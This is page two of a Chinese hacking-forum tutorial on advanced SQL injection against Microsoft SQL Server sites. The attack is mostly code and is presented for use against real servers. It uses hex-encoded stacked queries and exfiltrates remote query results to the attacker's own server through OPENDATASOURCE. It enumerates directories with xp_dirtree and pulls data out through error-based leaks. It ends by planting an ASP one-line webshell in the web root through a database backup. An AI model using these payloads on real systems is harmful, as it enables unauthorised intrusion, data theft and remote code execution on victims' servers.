黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 脚本入侵 >> 正文
·完美空间提供500M免费AS04-10·企业安全之YY内网准入以04-09
·企业安全之意识与策略04-09·剑走偏锋:IIS漏洞利用04-09
·我来免费网提供100M免费04-09·1122mb.com提供20G超大免04-08
·映像劫持与反劫持技术04-07·让所有"暴力删除工具"无04-07
·入侵88red系统的详细过程04-07·Sql Injection脚本注入终04-07
·vbs+delphi 反弹后门生成04-07·飞讯网提供100MB免费PHP04-07
·突破SQL注入攻击时输入框04-04·结合内核和病毒技术的最04-04
·Real Player rmoc3260.d04-04·亿万网络今月最后为您提04-04
·php+mysql 5 sql inject04-03·Real Player rmoc3260.d04-03
·oblog文件下载漏洞04-03·免费啦提供1G-2G免费全能04-03
·完全解析网页后门和挂马04-02·一句话开3389(只测试过04-02
·萧萧免费空间网提供100M04-02·谷道免费空间网提供1G免04-01
·从本地入手解决双线路由03-31·sablog 1.6 多个跨站漏洞03-31
·富文本编辑器的跨站脚本03-31·Cookie注入是怎样产生的03-31
[推荐]SQL注入高级技巧nowthk篇
      ★★★★★

SQL注入高级技巧nowthk篇

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2008-1-28 8:57:12

  我比较懒,随后想到的就是sql里的opendatasource命令,我机器装有sql,IP为211.11.11.11,我想把远程执行sql返回的结果直接插到我自己机器sql所建的表中,所以这样比较轻松,为了证明是否成功,我先建一个表为ku(id nvarchar(255)),然后远程提交的格式为:

以下是引用片段:
insert into opendatasource(’sqloledb’,’server=211.11.11.11;uid=sa;pwd=fuck!!;database=test’).test.dbo.ku select name from master.dbo.sysdatabases

  其中test为我自己的库,ku为test库中的表名 如果成功的话,在本地打开ku表,上述语句就会列出远程服务器中所有的库的名称。

  上面的语句有单引号,我们直接转换为16进制,转换后用如下语句提交即可:
以下是引用片段:
;DECLARE @S NVARCHAR(4000);SET @S=CAST(0x69006E007300650072007400200069006E0074006F0020006F00700065006E00640061007400610073006F00750072006300650028002700730071006C006F006C0065006400620027002C0027007300650072007600650072003D003200310031002E00310031002E00310031002E00310031003B007500690064003D00730061003B007000770064003D006600750063006B00210021003B00640061007400610062006100730065003D007400650073007400270029002E0074006500730074002E00640062006F002E006B0075002000730065006C0065006300740020006E0061006D0065002000660072006F006D0020006D00610073007400650072002E00640062006F002E00730079007300640061007400610062006100730065007300 AS NVARCHAR(4000));EXEC(@S);

直接打开本地数据库test中的ku表,嘿嘿,成功列出了远程所有数据库的名称。

  下面来返回服务器上D盘下的目录,嘿嘿,为了求速度,我只列一级目录。

  建一个表;create table temp(id nvarchar(255),num1 nvarchar(255))--成功

  往表里插入所有各级数目录(一级目录为D盘根目录,二级就是下一层,三级依次类推),语句:;insert into temp(id,num1) exec master.dbo.xp_dirtree ’D:\’,有单引号,上面的语句肯定不成功,肯定要用declare附值变量,好了,我直接写语句:
以下是引用片段:
DECLARE @S NVARCHAR(4000);SET @S=CAST
(0x69006E007300650072007400200069006E0074006F002000740065006D0070002800690064002C006E0075006D00310029002000650078006500630020006D00610073007400650072002E00640062006F002E00780070005F0064006900720074007200650065002000270044003A005C002700 AS NVARCHAR(4000));EXEC(@S);

  那么现在temp表中,已经有了所有D盘的目录了,其中num1=1为一级目录,num1=2为二级..等等。

  好了,我把temp表中一级目录返回到本地吧

  本地建表mulu(name char(255)),远程语句:
以下是引用片段:
insert into opendatasource(’sqloledb’,’server=211.11.11.11;uid=sa;pwd=fuck!!;database=test’).test.dbo.mulu select id from temp where num1=1

  转成16进制declare附变量提交,我日~~经过漫长由如死机的时间,失败了。。。弄不清楚原因,有知道的请联系我。

  既然懒的方法不行,算了,就勤快一些吧!郁闷!

  上述的temp远程表中还有目录名呢,太乱,在远程直接建个新表:;create talbe temp1(id nvarchar(4000))-- 然后把temp表中一级目录名称插到这里来,语句:;insert into temp1(id) select id from temp where num1=1--

  然后再暴: and 1=(select top 1 id from temp1 where id=1),提示:xxxxxxxxxxxx’MUbak’转换为int.....等出错等信息,我是不是很懒,连出错信息都不复制?明白就行了。

暴下一个目录不可能用 and 1=(select top 1 id from temp1 where id not in(’MUbak’))吧?因为里面有单引号呀,不是上面说可以用declare吗?错!这是暴,可不是执行命令呀,不要弄错!

  抽了一根烟,想了想,还有一个办法,再把temp1的目录一层一层地扒下来,把他们传递给temp2表,呵呵,肯定要先建表了;create table temp2(id char(255))--。

  先想明白语句,我把temp1的id下所有的名称,给于temp2,而且不包括’MUbak’目录,那么语句应该是: insert into temp2(id) select id from temp1 where id not in(’MUbak’)

  呵呵,有单引号,declare!!!,上面语句转16进制。

  语句为:
以下是引用片段:
DECLARE @S NVARCHAR(4000);SET @S=CAST(0x69006E007300650072007400200069006E0074006F002000740065006D007000320028006900640029002000730065006C006500630074002000690064002000660072006F006D002000740065006D007000310020007700680065007200650020006900640020006E006F007400200069006E00280027004D005500620061006B0027002900 AS NVARCHAR(4000));EXEC(@S);

  这时,我在temp2暴表:and 1=(select top 1 id from temp2),提示xxxxxxxxxxxx’wwwbak’转换为int.....等出错等信息。。呵呵,又一个目录出来了。

  然后删表temp2表,建temp3表,用上面的访法循环暴出下一个目录。

  可能有人问,为什么要建temp3表,直接删掉temp2,然后再建temp2再用呀,不过经验认为,这里最好新建一个,本人认为是缓存的原因,否则一直用老表,暴错的信息为同一个。。。。

  好了,经过漫长的时间,终于找出了网站的目录为D:\web\www\,下来备份呗。
以下是引用片段:
;create table riri(ri char(255))--

;insert into riri (ri) values(0x3C25657865637574652872657175657374282261222929253E)-- ’0x3C25657865637574652872657175657374282261222929253E" 为<%execute request("a")%>

;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x443a5c7765625c7777775c312e617370 backup database @a to disk =@s WITH DIFFERENTIAL,FORMAT ’0x443a5c7765625c7777775c312e617370 为D:\web\www\1.asp

  这时成功得在网站目录备分了一个1.asp,访问www.xxx.com/1.asp 出现’execute’错误,呵呵,一个webshell到手了。看得很麻烦吧,如果有人做出工具来了就简单多了,否则累死你~~ 哈哈,闪先~~

上一页  [1] [2] 

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
VIP 专 区
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886